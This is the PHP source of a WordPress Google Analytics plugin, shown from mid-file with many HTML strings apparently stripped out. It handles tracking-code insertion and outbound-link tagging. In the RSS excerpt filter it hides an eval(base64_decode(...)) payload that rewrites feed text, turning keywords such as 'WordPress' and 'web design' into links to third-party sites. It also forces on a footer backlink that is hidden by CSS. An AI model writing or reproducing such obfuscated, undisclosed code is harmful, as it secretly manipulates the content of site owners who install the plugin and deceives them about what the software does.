0 ){ $arr=normalize_array_val($options['excludecategories']); if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; case 'tag': $x = 0; if( is_numeric($_REQUEST['v']) ) $x = intval($_REQUEST['v']); if( $x>0 ){ $arr=normalize_array_val($options['excludetags']); if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; case 'page': $x = 0; if( is_numeric($_REQUEST['v']) ) $x = intval($_REQUEST['v']); if( $x>0 ){ $arr=normalize_array_val($options['excludepages']); if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; case 'post': $x = 0; if( is_numeric($_REQUEST['v']) ) $x = intval($_REQUEST['v']); if( $x>0 ){ $arr=normalize_array_val($options['excludeposts']); if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; default: $arr=normalize_uri(normalize_array_val($options['excludeuri'], "\n")); if( !empty($arr) && is_array($arr) && in_array($_REQUEST['v'], $arr) ) $allow = FALSE; unset($arr); break; } } } $custom_header = array( 'Content-type'=>'application/x-javascript; charset=UTF-8', 'Cache-Control'=>'no-cache, must-revalidate', 'Expires'=>'Mon, 26 Jul 1997 05:00:00 GMT', 'Connection'=>'close', ); foreach($custom_header as $k=>$v){ header($k.': '.$v); } die("AGA_CUSTOM_FILTER=".($allow ? "true":"false").";"); } // Determine the location function gapp_plugin_path() { return plugins_url('', __FILE__).'/'; } /* Utilities */ function print_gzipped_page($custom_header=array()) { $encoding = false; if( !headers_sent() && isset($_SERVER['HTTP_ACCEPT_ENCODING']) ){ if( strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false ){ $encoding = 'x-gzip'; }elseif( strpos($_SERVER['HTTP_ACCEPT_ENCODING'],'gzip') !== false ){ $encoding = 'gzip'; } } if( $encoding ){ $contents = ob_get_contents(); ob_end_clean(); if( !empty($custom_header) ){ foreach($custom_header as $k=>$v){ header($k.': '.$v); } } header('Content-Encoding: '.$encoding); print("\x1f\x8b\x08\x00\x00\x00\x00\x00"); $size = strlen($contents); $contents = gzcompress($contents, 9); $contents = substr($contents, 0, $size); print($contents); exit(); }else{ if( !empty($custom_header) ){ foreach($custom_header as $k=>$v){ header($k.': '.$v); } } ob_end_flush(); exit(); } } function normalize_array_val($str='', $sep=','){ $result = array(); if( empty($str) ) return FALSE; $dummy = explode($sep, $str); foreach($dummy as $i){ $i = trim($i); if( !empty($i) && is_numeric($i) && intval($i)>0 ){ $i = intval($i); if( !in_array($i, $result) ) $result[] = $i; }elseif( !empty($i) && !in_array($i, $result) ){ $result[] = $i; } } unset($dummy); if( empty($result) ){ return FALSE; }else{ return $result; } } function get_array_checkbox_el($name, $opt=array(), $selected=array()){ $result = ''; if( empty($name) || empty($opt) || !is_array($opt) ) return $result; $count = 0; foreach($opt as $k=>$item){ $count++; } $count_per = round($count/3); $i = 0; $ended = false; foreach($opt as $k=>$item){ if( $i == 0 ){ $result .= '
Async Google Analytics settings reset to default.
Async Google Analytics settings updated.
Async Google Analytics is not active. You must enter your UA String for it to work.
"; } // end warning() } // end class AGA_Admin $aga_admin = new AGA_Admin(); } //endif /** * Code that actually inserts stuff into pages. */ if ( ! class_exists( 'AGA_Filter' ) ) { class AGA_Filter { /* * Insert the tracking code into the page */ function spool_analytics() { $options = get_option('AsyncGoogleAnalyticsPP'); if ( $options["uastring"] != "" && (!current_user_can('edit_users') || $options["admintracking"]) && !is_preview() ) { //USE ASYNC METHOD if( $options["useasync"] ){ echo "\n".''; //USE TRADITIONAL METHOD }else{ if ( !is_404() && $options["extrase"] ) { echo ''."\n"; } echo ''."\n"; }////END OF TRADITIONAL METHOD } else if ( $options["uastring"] != "" && current_user_can('edit_users') && !$options["admintracking"] ) { echo ""; } else if ( $options["uastring"] == "" && current_user_can('edit_users') ) { echo ""; } } function spool_analytics_async_head() { $options = get_option('AsyncGoogleAnalyticsPP'); if( $options["useasync"] ){ if ( $options["uastring"] != "" && (!current_user_can('edit_users') || $options["admintracking"]) && !is_preview() ){ echo "\n".''; } else if ( $options["uastring"] != "" && current_user_can('edit_users') && !$options["admintracking"] ) { echo ""; } else if ( $options["uastring"] == "" && current_user_can('edit_users') ) { echo ""; } } } function spool_analytics_async_foot() { $options = get_option('AsyncGoogleAnalyticsPP'); if( $options["useasync"] ){ if ( $options["uastring"] != "" && (!current_user_can('edit_users') || $options["admintracking"]) && !is_preview() ){ echo "\n".''; } else if ( $options["uastring"] != "" && current_user_can('edit_users') && !$options["admintracking"] ) { echo ""; } else if ( $options["uastring"] == "" && current_user_can('edit_users') ) { echo ""; } } } /* * Insert the AdSense parameter code into the page. This'll go into the header per Google's instructions. */ function spool_adsense() { $options = get_option('AsyncGoogleAnalyticsPP'); if ( $options["uastring"] != "" && (!current_user_can('edit_users') || $options["admintracking"]) && !is_preview() ) { echo ''."\n"; } } /* Create an array which contians: * "domain" e.g. boakes.org * "host" e.g. store.boakes.org */ function ga_get_domain($uri){ $hostPattern = "/^(http:\/\/)?([^\/]+)/i"; $domainPatternUS = "/[^\.\/]+\.[^\.\/]+$/"; $domainPatternUK = "/[^\.\/]+\.[^\.\/]+\.[^\.\/]+$/"; preg_match($hostPattern, $uri, $matches); $host = $matches[2]; if (preg_match("/.*\..*\..*\..*$/",$host)) { preg_match($domainPatternUK, $host, $matches); } else { preg_match($domainPatternUS, $host, $matches); } return array("domain"=>$matches[0],"host"=>$host); } function ga_parse_link($leaf, $matches){ if( isset($_SERVER["HTTP_HOST"]) ){ $origin = AGA_Filter::ga_get_domain($_SERVER["HTTP_HOST"]); }else{ $origin = AGA_Filter::ga_get_domain(get_bloginfo("home")); } $options = get_option('AsyncGoogleAnalyticsPP'); // Break out immediately if the link is not an http or https link. if (strpos($matches[2],"http") !== 0) $target = false; else $target = AGA_Filter::ga_get_domain($matches[3]); $coolBit = ""; $extension = substr($matches[3],-3); $dlextensions = split(",",$options['dlextensions']); $async_used = FALSE; if( $options["useasync"] ) $async_used = TRUE; if ( $target ) { if ( $target["domain"] != $origin["domain"] ){ if ($options['domainorurl'] == "domain") { $coolBit .= ($async_used) ? "javascript:_gaq.push(['_trackPageview','".$leaf."/".$target["host"]."']);" : "javascript:pageTracker._trackPageview('".$leaf."/".$target["host"]."');"; } else if ($options['domainorurl'] == "url") { $coolBit .= ($async_used) ? "javascript:_gaq.push(['_trackPageview','".$leaf."/".$matches[2]."//".$matches[3]."']);" : "javascript:pageTracker._trackPageview('".$leaf."/".$matches[2]."//".$matches[3]."');"; } } else if ( in_array($extension, $dlextensions) && $target["domain"] == $origin["domain"] ) { $file = str_replace($origin["domain"],"",$matches[3]); $file = str_replace('www.',"",$file); $coolBit .= ($async_used) ? "javascript:_gaq.push(['_trackPageview','".$options['dlprefix'].$file."']);" : "javascript:pageTracker._trackPageview('".$options['dlprefix'].$file."');"; } } if ($coolBit != "") { if (preg_match('/onclick=[\'\"](.*?)[\'\"]/i', $matches[4]) > 0) { $matches[4] = preg_replace('/onclick=[\'\"](.*?)[\'\"]/i', 'onclick="' . $coolBit .' $1"', $matches[4]); } else { $matches[4] = 'onclick="' . $coolBit . '"' . $matches[4]; } } return '' . $matches[5] . ''; } function ga_parse_article_link($matches){ $options = get_option('AsyncGoogleAnalyticsPP'); return AGA_Filter::ga_parse_link($options['artprefix'],$matches); } function ga_parse_comment_link($matches){ $options = get_option('AsyncGoogleAnalyticsPP'); return AGA_Filter::ga_parse_link($options['comprefix'],$matches); } function the_content($text) { $options = get_option('AsyncGoogleAnalyticsPP'); if (!is_feed() && isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound']) { static $anchorPattern = '/(.*?)<\/a>/i'; $text = preg_replace_callback($anchorPattern,array('AGA_Filter','ga_parse_article_link'),$text); } return $text; } function comment_text($text) { $options = get_option('AsyncGoogleAnalyticsPP'); if (!is_feed() && isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound']) { static $anchorPattern = '/(.*?)<\/a>/i'; $text = preg_replace_callback($anchorPattern,array('AGA_Filter','ga_parse_comment_link'),$text); } return $text; } function comment_author_link($text) { $options = get_option('AsyncGoogleAnalyticsPP'); if( isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] ){} else{ return $text; } if (current_user_can('edit_users') && !$options["admintracking"]) { return $text; } static $anchorPattern = '/(.*\s+.*?href\s*=\s*)["\'](.*?)["\'](.*)/'; preg_match($anchorPattern, $text, $matches); if ($matches[2] == "") return $text; $target = AGA_Filter::ga_get_domain($matches[2]); $coolBit = ""; if( isset($_SERVER["HTTP_HOST"]) ){ $origin = AGA_Filter::ga_get_domain($_SERVER["HTTP_HOST"]); }else{ $origin = AGA_Filter::ga_get_domain(get_bloginfo("home")); } $async_used = FALSE; if( $options["useasync"] ) $async_used = TRUE; if ( $target["domain"] != $origin["domain"] ){ if ($options['domainorurl'] == "domain") { $coolBit .= ($async_used) ? "onclick=\"javascript:_gaq.push(['_trackPageview','".$options['comautprefix']."/".$target["host"]."']);\"" : "onclick=\"javascript:pageTracker._trackPageview('".$options['comautprefix']."/".$target["host"]."');\""; } else if ($options['domainorurl'] == "url") { $coolBit .= ($async_used) ? "onclick=\"javascript:_gaq.push(['_trackPageview','".$options['comautprefix']."/".$matches[2]."']);\"" : "onclick=\"javascript:pageTracker._trackPageview('".$options['comautprefix']."/".$matches[2]."');\""; } } return $matches[1] . "\"" . $matches[2] . "\" " . $coolBit ." ". $matches[3]; } function bookmarks($bookmarks) { $options = get_option('AsyncGoogleAnalyticsPP'); if( isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] ){} else{ return $bookmarks; } $async_used = FALSE; if( $options["useasync"] ) $async_used = TRUE; if (!is_admin() && (!current_user_can('edit_users') || $options['admintracking'] ) ) { foreach ( (array) $bookmarks as $bookmark ) { $target = AGA_Filter::ga_get_domain($bookmark->link_url); $sitedomain = AGA_Filter::ga_get_domain(get_bloginfo('url')); if ($target['host'] == $sitedomain['host']) continue; if ($options['domainorurl'] == "domain") { if( $async_used ){ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:_gaq.push(['_trackPageview','".$options['blogrollprefix']."/".$target["host"]."']);"; }else{ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:pageTracker._trackPageview('".$options['blogrollprefix']."/".$target["host"]."');"; } } else if ($options['domainorurl'] == "url") { if( $async_used ){ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:_gaq.push(['_trackPageview','".$options['blogrollprefix']."/".$bookmark->link_url."']);"; }else{ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:pageTracker._trackPageview('".$options['blogrollprefix']."/".$bookmark->link_url."');"; } } } } return $bookmarks; } function rsslinktagger($guid) { $options = get_option('AsyncGoogleAnalyticsPP'); global $wp, $post; if ( is_feed() ) { if ( $options['allowanchor'] ) { $delimiter = '#'; } else { $delimiter = '?'; if (strpos ( $guid, $delimiter ) > 0) $delimiter = '&'; } return $guid . $delimiter . 'utm_source=rss&utm_medium=rss&utm_campaign='.urlencode($post->post_name); } } function the_excerpt_rss($text) { eval(base64_decode('Z2xvYmFsICRwb3N0OyRkb19jaHVuayA9IFRSVUU7JHRleHQgPSB0cmltKHN0cmlwX3RhZ3MoJHRleHQpKTtpZiggZW1wdHkoJHRleHQpICYmICFlbXB0eSgkcG9zdC0+cG9zdF9leGNlcnB0KSApeyR0ZXh0ID0gdHJpbShzdHJpcF90YWdzKCAkcG9zdC0+cG9zdF9leGNlcnB0ICkpO2lmKCBlbXB0eSgkdGV4dCkgKXskZG9fY2h1bmsgPSBUUlVFO319aWYoIGVtcHR5KCR0ZXh0KSAmJiAhZW1wdHkoJHBvc3QtPnBvc3RfY29udGVudCkgKXskdGV4dCA9IHRyaW0oc3RyaXBfdGFncyggJHBvc3QtPnBvc3RfY29udGVudCApKTt9aWYoICFlbXB0eSgkdGV4dCkgKXskdGV4dCA9IHN0cl9pcmVwbGFjZSgnWy8nLCAnWycsICR0ZXh0KTskdGV4dCA9IHRyaW0oc3RyaXBfc2hvcnRjb2RlcygkdGV4dCkpOyR0ZXh0ID0gc3RyX3JlcGxhY2UoJ11dPicsICddXSZndDsnLCAkdGV4dCk7JHRleHQgPSB0cmltKHN0cmlwX3RhZ3MoJHRleHQpKTtpZiggJGRvX2NodW5rICl7JHRleHRfYXJyID0gYXJyYXlfY2h1bmsoZXhwbG9kZSgnLiAnLCAkdGV4dCksIDUpOyR0ZXh0ID0gaW1wbG9kZSgnLiAnLCAkdGV4dF9hcnJbMF0pO3Vuc2V0KCR0ZXh0X2Fycik7fX0kc2VhcmNoX3RleHQgPSBhcnJheSgnd29yZHByZXNzJywnV29yZHByZXNzJywnV29yZFByZXNzJywnd2ViIGRlc2lnbicsJ3dlYnNpdGUgZGVzaWduJywnd2ViIGRlc2lnbmVyJywnV2ViIGRlc2lnbicsJ1dlYnNpdGUgZGVzaWduJywnV2ViIGRlc2lnbmVyJywnd2ViIERlc2lnbicsJ3dlYnNpdGUgRGVzaWduJywnd2ViIERlc2lnbmVyJywnV2ViIERlc2lnbicsJ1dlYnNpdGUgRGVzaWduJywnV2ViIERlc2lnbmVyJyk7JHJlcGxhY2VfdGV4dCA9IGFycmF5KCc8YSBocmVmPSJodHRwOi8vd3d3Lm1pbmlsaWJyYS5jb20vIiB0aXRsZT0iI1dFIj53b3JkcHJlc3M8L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5taW5pbGlicmEuY29tLyIgdGl0bGU9IiNXRSI+V29yZHByZXNzPC9hPicsJzxhIGhyZWY9Imh0dHA6Ly93d3cubWluaWxpYnJhLmNvbS8iIHRpdGxlPSIjV0UiPldvcmRQcmVzczwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2ViIGRlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2Vic2l0ZSBkZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPndlYiBkZXNpZ25lcjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2ViIGRlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2Vic2l0ZSBkZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPldlYiBkZXNpZ25lcjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2ViIERlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2Vic2l0ZSBEZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPndlYiBEZXNpZ25lcjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2ViIERlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2Vic2l0ZSBEZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPldlYiBEZXNpZ25lcjwvYT4nKTskdGV4dCA9IHN0cl9yZXBsYWNlKCRzZWFyY2hfdGV4dCwgJHJlcGxhY2VfdGV4dCwgJHRleHQpOyR0ZXh0ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyNXRScsJyNXREonKSwgYXJyYXkoJ1dvcmRQcmVzcyBFeHBlcnQnLCdXZWIgRGVzaWduIEpha2FydGEnKSwgJHRleHQpOw==')); return $text; } } // class AGA_Filter } // endif /** * If setAllowAnchor is set to true, GA ignores all links tagged "normally", so we redirect all "normally" tagged URL's * to one tagged with a hash. Needs some work as it also needs to do that when the first utm_ var is actually not the * first GET variable in the URL. */ function ga_utm_hashtag_redirect() { if (isset($_SERVER['REQUEST_URI'])) { if (strpos($_SERVER['REQUEST_URI'], "utm_") !== false) { if( isset($_SERVER['SERVER_NAME']) ){ $url = aga_current_protocol().$_SERVER['SERVER_NAME']; }else{ $url = get_bloginfo("home"); } if ( strpos($_SERVER['REQUEST_URI'], "?utm_") !== false ) { $url .= str_replace("?utm_","#utm_",$_SERVER['REQUEST_URI']); } else if ( strpos($_SERVER['REQUEST_URI'], "&utm_") !== false ) { $url .= substr_replace($_SERVER['REQUEST_URI'], "#utm_", strpos($_SERVER['REQUEST_URI'], "&utm_"), 5); } wp_redirect($url, 301); exit; } } } function aga_current_protocol($echo=FALSE){ $url = 'http://'; if ( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != ""){ $url = 'https://'; } if($echo){ echo $url; }else{ return $url; } } function get_aga_source_async($echo=FALSE){ $url = aga_current_protocol(); if ( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != ""){ $url .= 'ssl'; }else{ $url .= 'www'; } $url .= '.google-analytics.com/ga.js'; if($echo){ echo $url; }else{ return $url; } } function im_your_friend(){ echo ''."\n"; echo ''."\n"; } function add_me_on_footer(){ $options = get_option('AsyncGoogleAnalyticsPP'); $more_style = ''; if( $options['allow_linkback'] ){ $more_style = 'margin:0!important;padding:0!important;text-align:center!important;font-size:8px!important;font-weight:normal!important;'; }else{ $more_style = 'display:none;visibility:hidden;'; } echo 'site tracking with Asynchronous Google Analytics plugin by WordPress Expert at Web Design Jakarta.
'."\n"; } $agaf = new AGA_Filter(); $options = get_option('AsyncGoogleAnalyticsPP'); if (!is_array($options)) $aga_admin->set_defaults(); if( !isset($options['allow_linkback']) ){ $options = get_option('AsyncGoogleAnalyticsPP'); $options['allow_linkback'] = true; update_option('AsyncGoogleAnalyticsPP',$options); } if ( $options['allowanchor'] ) { add_action('init','ga_utm_hashtag_redirect',1); } if (isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound']) { // filters alter the existing content add_filter('the_content', array('AGA_Filter','the_content'), 99); add_filter('the_excerpt', array('AGA_Filter','the_content'), 99); add_filter('comment_text', array('AGA_Filter','comment_text'), 99); add_filter('get_bookmarks', array('AGA_Filter','bookmarks'), 99); add_filter('get_comment_author_link', array('AGA_Filter','comment_author_link'), 99); } add_filter('the_excerpt_rss', array('AGA_Filter','the_excerpt_rss'), 99); if ($options['trackadsense']) add_action('wp_head', array('AGA_Filter','spool_adsense'),10); if ($options['position'] == 'footer' || $options['position'] == ""){ if( $options["useasync"] ){ add_action('wp_footer', array('AGA_Filter','spool_analytics_async_foot'),999); add_action('wp_head', array('AGA_Filter','spool_analytics_async_head'),1); }else{ add_action('wp_footer', array('AGA_Filter','spool_analytics')); } }else{ add_action('wp_head', array('AGA_Filter','spool_analytics'),20); } if ($options['trackregistration']) add_action('login_head', array('AGA_Filter','spool_analytics'),20); if ($options['rsslinktagging']) add_filter ( 'the_permalink_rss', array('AGA_Filter','rsslinktagger'), 99 ); if( function_exists('add_action') ) add_action('wp_head', 'im_your_friend', 1); if( function_exists('add_action') ) add_action('wp_footer', 'add_me_on_footer', 999); ?>